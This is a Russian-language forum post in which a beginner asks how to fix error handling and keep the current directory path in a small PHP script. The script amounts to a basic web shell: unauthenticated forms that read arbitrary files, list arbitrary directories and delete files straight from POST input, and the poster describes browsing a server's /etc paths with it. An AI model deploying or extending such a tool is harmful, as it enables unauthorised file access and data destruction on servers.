Доработал чуть-чуть скрипт, и возникли вопросы.
1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле.
Как это можно пофиксить?
2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги:
etc, /etc/home/, /etc/home/pornostar/index.php/
Как можно сохранить строку директории?
3) В коде есть ненужный кусок
if (file_exists($_POST['fail']))
{
}
else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке.
Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет?
Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал.
Впервой мне
Сам скрипт
PHP код:
<form action="" method="post">
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>
<form action="" method="post">
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>
<form action="" method="post">
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>
<?php
if($_POST['fail'] and $_POST['ok1']){
$filename = $_POST['fail'];
$fp = fopen($filename, 'r');
if (file_exists($_POST['fail']))
{
}
else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
$file_exists = $buf;
$buf = fread($fp, filesize($filename));
fclose($fp);
echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>";
}
if($_POST['dir'] and $_POST['ok2']){
$dir = $_POST['dir'];
$files = scandir($dir);
echo "<textarea rows=20 cols=100>";
foreach($files as $file){
echo $file . "\r\n";
}
echo "</textarea>";
}
if($_POST['del'] and $_POST['ok3']){
$del = $_POST['del'];
$uplink = unlink($_POST['del']);
}
?>
<br>
<br>
<script language="javascript">
var name = navigator.appName;
var vers = navigator.appVersion;
var code = navigator.appCodeName;
var where = document.referrer;
var platform = navigator.platform;
document.write(
'Броузер: ' + name +
'<br>Версия броузера: ' + vers +
'<br>Кодовое название броузера: ' + code +
'<br>Вы зашли из: ' + where +
'<br>Платформа: ' + platform
);
</script>